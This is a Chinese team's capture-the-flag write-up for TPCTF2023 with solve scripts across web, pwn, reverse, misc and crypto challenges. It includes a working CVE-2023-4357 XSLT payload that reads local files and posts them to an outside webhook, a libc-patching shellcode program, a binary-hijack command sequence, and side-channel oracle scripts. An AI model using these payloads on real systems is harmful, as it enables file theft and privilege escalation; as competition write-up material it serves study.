TPCTF2021 Writeup by or4nge
rank: 12th
or4nge 的师傅们在第八届 XCTF 国际网络攻防联赛 TPCTF2023 分站赛中奋战 48 小时,拿到了 12 名的好成绩,师傅们真棒!
TPCTF2023
Web
CVE-2023-4357
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [<!ENTITY passwd_p "file:///flag"><!ENTITY passwd_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:copy-of select="document('')"/><body xmlns="http://www.w3.org/1999/xhtml"><div class="b" style="display:none"><p class="&passwd_p;">&passwd_c;</p></div><div style="width:40rem" id="r" /><script>var xhr = new XMLHttpRequest();xhr.open('POST', 'https://webhook.site/903a3c2b-cb5f-49a2-8071-c26e8c46d37c/', true);var divElement = document.querySelector('p');xhr.send(divElement.textContent);</script></body></xsl:template></xsl:stylesheet>
通过延时回显不同来泄漏 flag:
from pwn import *import stringcontext.log_level = 'debug'dic = "{}_-" + string.ascii_letters + string.digitsflag = "TPCTF{"xml = """<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [<!ENTITY passwd_p "file:///flag"><!ENTITY passwd_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:copy-of select="document('')" /><body xmlns="http://www.w3.org/1999/xhtml"><div style="display:none"><p class="&passwd_p;">&passwd_c;</p></div><div style="width:40rem" id="r" /><script>flag = document.querySelector('p').textContent;if (flag.charCodeAt({}) >= {}) {{<![CDATA[function fib(n) {{return n< 2 ? 1 : fib(n - 1) + fib(n - 2);}};console.log(fib(100));]]>}}</script></body></xsl:template></xsl:stylesheet>EOF"""index = 6while True:low = 40high = 125while low <= high:mid = (low + high) // 2p = remote("202.112.238.82", 23379)p.sendlineafter(b"File name:", b'a.svg')p.sendlineafter(b"Input your file:\n", xml.format(index, mid).encode())print(p.recvline().decode())print(p.recvline().decode())res = p.recvline().decode().strip()if res != "Bye bye!":p.recvline().decode().strip()p.clean()p.close()low = mid + 1else:p.clean()p.close()high = mid - 1flag += chr(high)print("[+]flag:", flag)index += 1
TPCTF2023
Pwn
mv bin bin1/bin1/mkdir bin/bin1/chmod 777 bin/bin1/echo "/bin1/cat /root/flag" > /bin/umount/bin1/chmod 777 /bin/umountexit
core revenge
patch libc的exit函数为orw的shellcode,然后直接exit。
#include <stdio.h>#include <stdlib.h>#include <string.h>#define FILENAME "/lib64/libc.so.6" // 文件路径#define OFFSET 0xBF4F0 // 写入偏移量unsigned char data[] = {104,96,102,1,1,129,52,36,1,1,1,1,72,184,47,114,111,111,116,47,102,108,80,72,137,231,49,210,49,246,106,2,88,15,5,72,137,199,49,192,106,64,90,72,137,230,15,5,106,1,95,72,137,194,72,137,230,106,1,88,15,5,49,255,106,60,88,15,5};int main() {FILE *file = fopen(FILENAME, "r+b");if (file == NULL) {perror("Failed to open file");return 1;}// 将文件指针移动到指定偏移量if (fseek(file, OFFSET, SEEK_SET) != 0) {perror("Failed to seek file");fclose(file);return 1;}// 写入数据if (fwrite(data, sizeof(char), sizeof(data), file) != sizeof(data)) {perror("Failed to write data");fclose(file);return 1;}fclose(file);return 0;}
TPCTF2023
Reverse
maze
pyinstxtractor提取python打包文件,发现核心逻辑是maze.so,由Cython编译而来
写出示例代码编译出共享库进行流程比对,核心函数是_pyx_pw_4maze_5run
_Pyx_PyObject_FastCallDict调用了子函数,搜索结构体名可以得知函数位置
程序首先对给定字符串做base64解码,得到一个类似maze的东西
## ## ## ## ## ## #### ## ## ^^ ## ^^ #### ## ## .. ## IZ ## ## ## #### %R .. %D ## %D .. .. %L #### >> ## .. ## EA ** PP %U #### %U IA TA ## EB ** PP %U #### %U IB TB ## EC ** PP %U #### %U IC TC ## ED ** PP %U #### %U ID TD ## EE ** PP %U #### %U IE TE ## EF ** PP %U #### %U IF TF ## %R ** IZ %U #### %U IG %L ## ## ## ## ## #### ## ## ## ## ##PP -> +=1MM -> -=1IZ -> =0EA -> IF ==0 THEN %R ELSE %DEB -> IF ==1 THEN %R ELSE %DEC -> IF ==2 THEN %R ELSE %DED -> IF ==3 THEN %R ELSE %DEE -> IF ==4 THEN %R ELSE %DEF -> IF ==5 THEN %R ELSE %DTA -> IF ** THEN %L ELSE %DIA -> =72TB -> IF ** THEN %L ELSE %DIB -> =73TC -> IF ** THEN %L ELSE %DIC -> =84TD -> IF ** THEN %L ELSE %DID -> =80TE -> IF ** THEN %L ELSE %DIE -> =67TF -> IF ** THEN %L ELSE %DIF -> =84IG -> =70LT -> IF ==6 THEN %D ELSE %L
猜测>>是generate,也就是循环输出HITPCTF,猜测这就是密钥
继续向下分析函数,_pyx_pw_4maze_1aW5pdF9zZWNyZXQ做了密文数组的初始化
然后与将输入与密钥异或,与密文比较即可
写出解密脚本
code = 'IyMgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgXl4gIyMgXl4gIyMKIyMgIyMgIyMgLi4gIyMgSVogIyMgIyMgIyMgIyM'\'KIyMgJVIgLi4gJUQgIyMgJUQgLi4gLi4gJUwgIyMKIyMgPj4gIyMgLi4gIyMgRUEgKiogUFAgJVUgIyMKIyMgJVUgSUEgVE'\'EgIyMgRUIgKiogUFAgJVUgIyMKIyMgJVUgSUIgVEIgIyMgRUMgKiogUFAgJVUgIyMKIyMgJVUgSUMgVEMgIyMgRUQgKiogU'\'FAgJVUgIyMKIyMgJVUgSUQgVEQgIyMgRUUgKiogUFAgJVUgIyMKIyMgJVUgSUUgVEUgIyMgRUYgKiogUFAgJVUgIyMKIyMg'\'JVUgSUYgVEYgIyMgJVIgKiogSVogJVUgIyMKIyMgJVUgSUcgJUwgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgIyMgIyM'\'gIyMKClBQIC0+ICs9MQpNTSAtPiAtPTEKSVogLT4gPTAKRUEgLT4gSUYgPT0wIFRIRU4gJVIgRUxTRSAlRApFQiAtPiBJRi'\'A9PTEgVEhFTiAlUiBFTFNFICVECkVDIC0+IElGID09MiBUSEVOICVSIEVMU0UgJUQKRUQgLT4gSUYgPT0zIFRIRU4gJVIgR'\'UxTRSAlRApFRSAtPiBJRiA9PTQgVEhFTiAlUiBFTFNFICVECkVGIC0+IElGID09NSBUSEVOICVSIEVMU0UgJUQKVEEgLT4g'\'SUYgKiogVEhFTiAlTCBFTFNFICVECklBIC0+ID03MgpUQiAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUIgLT4gPTczClR'\'DIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJQyAtPiA9ODQKVEQgLT4gSUYgKiogVEhFTiAlTCBFTFNFICVECklEIC0+ID'\'04MApURSAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUUgLT4gPTY3ClRGIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJR'\'iAtPiA9ODQKSUcgLT4gPTcwCkxUIC0+IElGID09NiBUSEVOICVEIEVMU0UgJUwK'from base64 import *print(b64decode(code).decode())cmp = [7, 47, 60, 28, 39, 11, 23, 5, 49, 49, 26, 11, 63, 4, 9, 2, 25, 61, 36, 112, 25, 15, 62, 25, 3, 16, 102, 38, 14, 7, 37, 4, 40]key = [18, 17, 15, 0, 27, 31, 10, 19, 14, 21, 25, 22, 6, 3, 30, 8, 24, 5, 7, 4, 13, 29, 9, 26, 1, 2, 28, 16, 20, 32, 12, 23, 11]for i in range(33):l = cmp[i]cmp[i] = cmp[key[i]]cmp[key[i]] = lkey = [ord(i) for i in 'HITPCTF']cmp = [cmp[i]^(key[i%7]) for i in range(33)]print(bytes(cmp))'''HITPCTFTPCTF{y'''
TPCTF2023
Misc
safebox
> put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789> mv 123.flag 123> get 123 0 100 123456789098765432101234567890123456789
mv之后读取错误是由key2错误造成的,因为移动之后目录变化,key2的生成与目录有关
mv之后的get的数据和原数据的关系如下
data'=data+(key^ key2)-(key^ key2_{new})
然后对flag文件进行相同操作
> putflag 123 123456789098765432101234567890123456789> mv 123.flag 123> get 123 0 100 123456789098765432101234567890123456789
会发现key2和key2_new都不变
就可以通过前面算得的差值求出flag
from pwn import *p=remote('116.63.165.231',1888)p.sendlineafter(b'> ',b'put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789')p.sendlineafter(b'> ',b'mv 123.flag 123')p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')data=bytes.fromhex(p.recvline().strip().decode())p.sendlineafter(b'> ',b'putflag 123 123456789098765432101234567890123456789')p.sendlineafter(b'> ',b'mv 123.flag 123')p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')data2=bytes.fromhex(p.recvline().strip().decode())for ind,i in enumerate(data2):print(chr((i-(data[ind]-ord('a')))&0xff),end='')
safebox pro
这次不能套出key2了,但是可以控制key1
由于文件名变化,所以解密时的key2也发生变化
但这里key可控,可以通过控制key1,获得多组d,然后逐字节爆破key2和key2_new即可
from pwn import *SBOX = b'\x1b\x8e6\xa5\xd2+\xad\'S]\x16\xa8e\xa6G\xe44,\xb9\xe2m/&\xbe\xce\x1fR\xf3\x14\xcal\x9fH\xee\xe3\x11\xdb\xe8\xc5\xcf\xab\xae\x7f\xfe\xe9\xd3\xeb@\xe0\x0f\xf9%\x97\x19\xacK\x90\xbd\x10\xcb8\xc8\x18\xc0D\xd8h)v\x13U\x0b\xc7\xa07\x99\xd7\x81L\x9b\xbf\xa4\xda\x03~\x84\x15\x95\x07P\x06B\xb5(o\x879\x1c\xe6$\xef\xfa\rp3\x9c\xb2 \x17\x86F`z|\xa3\x92E\x85\x02=\xddIb0\xf8\x12\xa1\x00T\xf4_5\xf7\x1e\x9d-i\x96g:\xb8\x04\xa7\xb0\xc2\x8a\xc4\xf1!2\x8b\xb7;J\x8d\xb4?[\xed\xc6\x89k\xe7\xd9wud\xa9\x0c\xb6\xff\xfc\xfb\xc9\xf2^>\\Ca\x0e\x91\t*\xde\x94sc#\xf6\xdfXOr\x8cqx\xc1\x80\xdc\xa2\x83A\n\xd6\x1af\xbc\xaf\xc3y\x8f\xfd\xcd\xe1\x9a{"\xbb\xd4\xea\xd1.\xe5Q\x82\xf0W\xb3t<\xd0n\x08j\xecM\xb1\x05V\xba\xcc\x9eN\x93}\xf5\xaa\x981Z\x88\xd5Y\x1d\x01'ans=[' ']*32for k in range(32):while True:p = remote('202.112.238.82', 10960)p.sendlineafter(b'> ', b'putflag 123 0x00')p.sendlineafter(b'> ', b'mv 123.flag 123')p.sendlineafter(b'> ', b'get 123 0 100 0x00')data0 = bytes.fromhex(p.recvline().strip().decode())p.sendlineafter(b'> ', b'putflag 123 0x01')p.sendlineafter(b'> ', b'mv 123.flag 123')p.sendlineafter(b'> ', b'get 123 0 100 0x01')data1 = bytes.fromhex(p.recvline().strip().decode())p.sendlineafter(b'> ', b'putflag 123 0x02')p.sendlineafter(b'> ', b'mv 123.flag 123')p.sendlineafter(b'> ', b'get 123 0 100 0x02')data2 = bytes.fromhex(p.recvline().strip().decode())posb = []posb2 = []for i in range(256):for j in range(256):if (data0[k]-data1[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x01]-SBOX[j^0x01]))&0xff :posb.append((i,j))for i,j in posb:if (data0[k]-data2[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x02]-SBOX[j^0x02]))&0xff :posb2.append((i,j))if len(posb2)==1:x=posb2[0][0]y=posb2[0][1]res=chr((data0[k]+SBOX[y]+0x100-SBOX[x])&0xff)if res.isascii():ans[k]=resbreakprint(''.join(ans))
../ 会被标准化去掉,通过这一点泄漏 flag:
from pwn import *p=remote('202.112.238.82', 13373)flag='TP'data='7a7f'for i in range(40):for j in string.printable:p.sendlineafter(b'test: ', b'100')p.sendlineafter(b' (in hex):',data.encode()+hex(ord(j))[2:].rjust(2,'0').encode()+b'00'*40)p.recvline()line=p.recvline()line=line.decode().split('flag/')[1]if line.startswith('%'):flag+=chr(ord(j)^int(line[1:3],16))data=''if len(flag)%2==0:for k in range(len(flag)//2):data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0')data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0')else:for k in range(len(flag)//2-1):data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0')data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0')data += hex(ord(flag[-3]) ^ ord('.'))[2:].rjust(2, '0')data += hex(ord(flag[-2]) ^ ord('.'))[2:].rjust(2, '0')data += hex(ord(flag[-1]) ^ ord('/'))[2:].rjust(2, '0')print(flag)print(data)break
小T的日常
通过图片可以定位到横滨北仲桥,对应的地铁站为樱木町站,其 5 分钟可以到达 Bandobashi Station,这个站边上有一个横滨桥通商店街,在里面搜索百円店可以找到CanDo,在其边上就是要找的服装店:
TPCTF{NARUKIYA:2311855}
通过传送和dfs慢慢收集碎片
from pwn import *import hashlibimport stringimport reimport time# context.log_level = 'debug'while True:r = remote('202.112.238.82', '13370')r.recvuntil(b'>')maze, vis = [], []L = 500for i in range(L):maze.append([0] * L)vis.append([0] * L)nowx, nowy = 250, 250dx, dy = [1, -1, 0, 0], [0, 0, -1, 1]act = [b'S', b'W', b'A', b'D']def dfs(x, y):# print(x, y)vis[x][y] = 1for i in range(4):xx = x + dx[i]yy = y + dy[i]if vis[xx][yy]:continuer.sendline(act[i])s = r.recvuntil(b'>')# print(s)if b'flag' in s:maze[xx][yy] = 2print(s)dfs(xx, yy)elif b'wall' in s:maze[xx][yy] = 1vis[xx][yy] = 1elif b'transported' in s:maze[xx][yy] = 3returnelse:maze[xx][yy] = 0dfs(xx, yy)try:dfs(250, 250)except:r.close()
TPCTF2023
Crypto
通过已知 output 可以求得 x^{22},x^{21},……的线性关系,遍历 256 获取满足这些关系的数,正好22位。然后通过 A·B=C 的矩阵乘法(A为顺序矩阵,B为类范德蒙矩阵,C为output)获取字符排列顺序。
from sage.all import *output = [125, 31, 116, 106, 193, 7, 38, 194, 186, 33, 180, 189, 53, 126, 134, 237, 123, 65, 179, 196, 99, 74, 101, 153, 84, 74, 233, 5, 105, 32, 75, 168, 161, 2, 147, 18, 68, 68, 162, 21, 94, 194, 249, 179, 24, 60, 71, 12, 40, 198, 79, 92, 44, 72, 189, 236, 244, 151, 56, 93, 195, 121, 211, 26, 73, 240, 76, 70, 133, 186, 165, 48, 31, 39, 3, 219, 96, 14, 166, 139, 24, 206, 93, 250, 79, 246, 256, 199, 198, 131, 34, 192, 173, 35, 0, 171, 160, 151, 118, 24, 10, 100, 93, 19, 101, 15, 190, 74, 10, 117, 4, 41, 135, 45, 107, 155, 152, 95, 222, 214, 174, 139, 117, 211, 224, 120,219, 250, 1, 110, 225, 196, 105, 96, 52, 231, 59, 70, 95, 56, 58, 248, 171, 16, 251, 165, 54, 4, 211, 60, 210, 158, 45, 96, 105, 116, 30, 239, 96, 37, 175, 254, 157, 26, 151, 141, 43, 110, 227, 199, 223, 135, 162, 112, 4, 45, 66, 228, 162, 238, 165, 158, 27, 18, 76, 36, 237, 107, 84, 57, 233, 96, 72, 6, 114, 44, 119, 174, 59, 82, 202, 26, 216, 35, 55, 159, 113, 98, 4, 74, 2, 128, 34, 180, 191, 8, 101, 169, 157, 120, 254, 158, 97, 227, 79, 151, 167, 64, 195, 42, 250, 207, 213, 238, 199, 111, 149, 18, 194, 240, 53, 130, 3, 188, 41, 100, 255, 158, 21, 189, 19, 214, 127]p = 257output1 = [253]+outputl = [(257-i)for i in output1]B = []for i in range(22):tmp = l[i+20:i+42]B.append(tmp)B = Matrix(Zmod(p), B)C = Matrix(Zmod(p), l[42:64])C = C.transpose()t = B.solve_right(C)t = [i[0] for i in t]known = []def find(x, list3):tmp = pow(x, 22)for i in range(22):tmp -= pow(x, i)*t[i]return tmp % 257 == 0for i in range(256):if find(i, t):known.append(i)B = []for i in range(253):tmp = [j ** (i+1) % 257 for j in known]B.append(tmp)B = Matrix(Zmod(p), B)C = Matrix(Zmod(p), output).transpose()A = B.solve_right(C)A = list(A.transpose()[0])for i in range(1, 23):print(chr(known[A.index(i)]), end='')
通过报错类型判断字符是否存在 flag 中,进而判断字符个数,通过侧信道泄漏 flag:
from pwn import *context.log_level = 'debug't = """C=A&255E=C=={}B=EEOF"""known = [49, 65, 67, 70, 80, 84, 95, 97, 99, 100, 101, 103, 104, 108, 110, 114, 115, 116, 123, 125]print(len(set(known)))for i in range(256):p = remote("202.112.238.82", 13371)p.sendlineafter(b"A:\n", t.format(i).encode())res = p.recvline().strip().decode()if res == "You did not sort correctly":p.clean()p.close()continueelse:p.recvuntil(b"results are not same")known.append(i)p.clean()p.close()print(known)
然后排序一下发过去即可:
from pwn import *context.log_level = 'debug't = """B=1327909533204109794963065773635694944483154930546357518757596128115581EOF"""p = remote("202.112.238.82", 13371)p.sendlineafter(b"A:\n", t.encode())res = p.recvline().strip().decode()print(res)p.close()
文案:or4nge
排版:周开城